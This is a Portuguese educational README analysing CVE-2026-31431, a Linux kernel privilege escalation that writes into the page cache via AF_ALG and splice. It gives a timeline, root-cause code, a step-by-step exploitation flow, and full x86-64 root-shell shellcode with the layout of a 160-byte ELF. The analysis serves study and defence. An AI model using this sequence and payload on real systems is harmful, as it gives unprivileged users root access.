
Análise educacional do CVE-2026-31431, uma escalada de privilégios local no kernel Linux via operação in-place AF_ALG AEAD, incluindo causa raiz técnica, detecção e mitigação.
Análise técnica educacional de uma das vulnerabilidades mais significativas do kernel Linux desde o Dirty Pipe (2022).
Este repositório é voltado para pesquisa, estudo e defesa. Nenhum exploit funcional é distribuído aqui.
CVE-2026-31431, apelidada de Copy Fail, é uma vulnerabilidade de escalonamento local de privilégios (LPE — Local Privilege Escalation) no kernel Linux. Ela permite que qualquer usuário sem privilégios obtenha acesso root em questão de segundos.
| Atributo | Valor |
|---|---|
| CVE | CVE-2026-31431 |
| CVSS Score | 7.8 HIGH |
| Tipo | Local Privilege Escalation (LPE) |
| Subsistema | crypto/algif_aead.c — AF_ALG |
| Introduzida em | Kernel 4.14 (commit 72548b093ee3, julho 2017) |
| Corrigida em | 6.18.22 / 6.19.12 / 7.0 (commit a664bf3d603d) |
| Descoberta por | Taeyang Lee — Theori / Xint Code |
| Divulgação pública | 29 de abril de 2026 |
| PoC público | Sim — script Python de ~732 bytes |
Imagine que o sistema operacional tem uma memória de trabalho (chamada de page cache) onde guarda cópias dos arquivos que estão sendo usados. Quando você executa um programa, o sistema carrega esse programa nessa memória e o executa a partir dali — não diretamente do disco.
A Copy Fail permite que um usuário comum altere essa cópia em memória de um programa especial (um binário setuid, como o comando su) sem tocar no arquivo original no disco. O arquivo no disco continua intacto, mas quando o programa é executado, o sistema lê a versão corrompida da memória.
É como trocar a receita de um prato na memória de um chef enquanto ele está cozinhando — o livro de receitas original não muda, mas o prato que sai é completamente diferente.
O resultado: o programa corrompido executa código do atacante com permissões de root.
O que torna isso especialmente perigoso:
2015 → AF_ALG ganha suporte a AEAD (algif_aead.c)
authencesn introduz escrita em assoclen+cryptlen (mas ainda out-of-place)
2017 → Commit 72548b093ee3: otimização converte operação para in-place
req->src = req->dst → páginas do page cache entram na scatterlist de escrita
BUG INTRODUZIDO — passa despercebido por ~9 anos
2026 Mar 23 → Taeyang Lee (Theori) reporta ao time de segurança do kernel Linux
Descoberta assistida por IA (Xint Code — ~1h de scan)
2026 Abr 1 → Patch mainline commitado (a664bf3d603d) — reverte a otimização de 2017
2026 Abr 22 → CVE-2026-31431 atribuída
2026 Abr 29 → Divulgação pública + PoC Python liberado
Arch Linux, Fedora, Amazon Linux já com patches
Ubuntu, RHEL, SUSE publicam guidance de mitigação
2026 Mai 1 → Kernels corrigidos chegam a AlmaLinux, CloudLinux, Rocky Linux
Adicionado ao CISA KEV (Known Exploited Vulnerabilities)
Exploits em Go e Rust aparecem em repositórios públicos
Atacante (usuário sem privilégios)
│
├─ 1. socket(AF_ALG, SOCK_SEQPACKET)
│ Cria socket de criptografia no kernel
│ bind: "authencesn(hmac(sha256),cbc(aes))"
│
├─ 2. setsockopt: define chave AEAD + authsize=4
│
├─ 3. accept() → op_socket
│
├─ 4. sendmsg([AAD + ciphertext], cmsg=[DECRYPT, IV, assoclen])
│ AAD bytes [4:8] = os 4 bytes que queremos ESCREVER no page cache
│
├─ 5. pipe() + splice(arquivo_alvo → pipe → op_socket)
│ CRÍTICO: injeta páginas do page cache na scatterlist do AF_ALG
│ As páginas do arquivo agora estão no destino GRAVÁVEL da operação
│
├─ 6. recv() → dispara o authencesn
│ authencesn::scatterwalk_map_and_copy(seqno_lo, dst, assoclen+cryptlen, 4, WRITE)
│ Escreve 4 bytes em dst[assoclen + cryptlen]
│ = escreve DIRETAMENTE no page cache do arquivo-alvo ✓
│ HMAC falha → retorna EBADMSG → IGNORADO
│
└─ 7. Repete (4 bytes por iteração) até cobrir todo o ELF replacement
Executa o binário alvo → root shell
O bug vive em crypto/algif_aead.c. Em 2017, a operação AEAD foi convertida para in-place para ganhar performance:
// Antes (seguro): req->src e req->dst são scatterlists separadas
// Depois (bugado, commit 72548b093ee3):
req->src = req->dst; // mesma scatterlist para entrada e saída
// Para a tag de autenticação, em vez de copiar, o código encadeia por referência:
sg_chain(areq_ctx->rsgl[0].sg, n, areq_ctx->tsgl);
// ↑ As páginas do page cache (vindas do splice) agora estão na scatterlist de SAÍDA
O algoritmo authencesn usa o buffer de destino como scratch space para reorganizar bytes do Extended Sequence Number (ESN) do IPsec:
// Em authencesn_decrypt():
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);
// ^^^^^^^^^^^^^^^^^^^^^^^^^
// offset que ultrapassa o output buffer
// e cai nas páginas do page cache encadeadas
A escrita contorna completamente o VFS. A página modificada nunca é marcada como dirty pelo mecanismo de writeback do kernel. O arquivo em disco permanece intacto. Ferramentas de integridade baseadas em hash (aide, tripwire, inotifywait) não detectam nada porque monitoram o disco, não o page cache.
O exploit embute um mini-ELF de 160 bytes comprimido com zlib. Após descompressão, a parte executável é:
; Offset 0x78 no arquivo ELF (entry point)
xor eax, eax ; limpa registradores
xor edi, edi ; uid = 0
mov al, 0x69 ; syscall 105 = setuid
syscall ; setuid(0) → effective UID = root
lea rdi, [rel bin_sh] ; rdi → "/bin/sh\0"
xor esi, esi ; argv = NULL
push 0x3b ; syscall 59 = execve
pop rax
cdq ; rdx = 0 (envp = NULL)
syscall ; execve("/bin/sh", NULL, NULL)
; Fallback
xor edi, edi
push 0x3c ; syscall 60 = exit
pop rax
syscall ; exit(0)
bin_sh: db "/bin/sh", 0
Estrutura do ELF mínimo (160 bytes no total):
Offset 0x00–0x3F → ELF64 Header (64 bytes)
e_type=ET_EXEC, e_machine=EM_X86_64
e_entry=0x400078, e_phnum=1
Offset 0x40–0x77 → Program Header PT_LOAD (56 bytes)
p_flags=PF_R|PF_X, p_vaddr=0x400000
p_filesz=0x9e
Offset 0x78–0x9D → Shellcode (26 bytes código + "/bin/sh\0")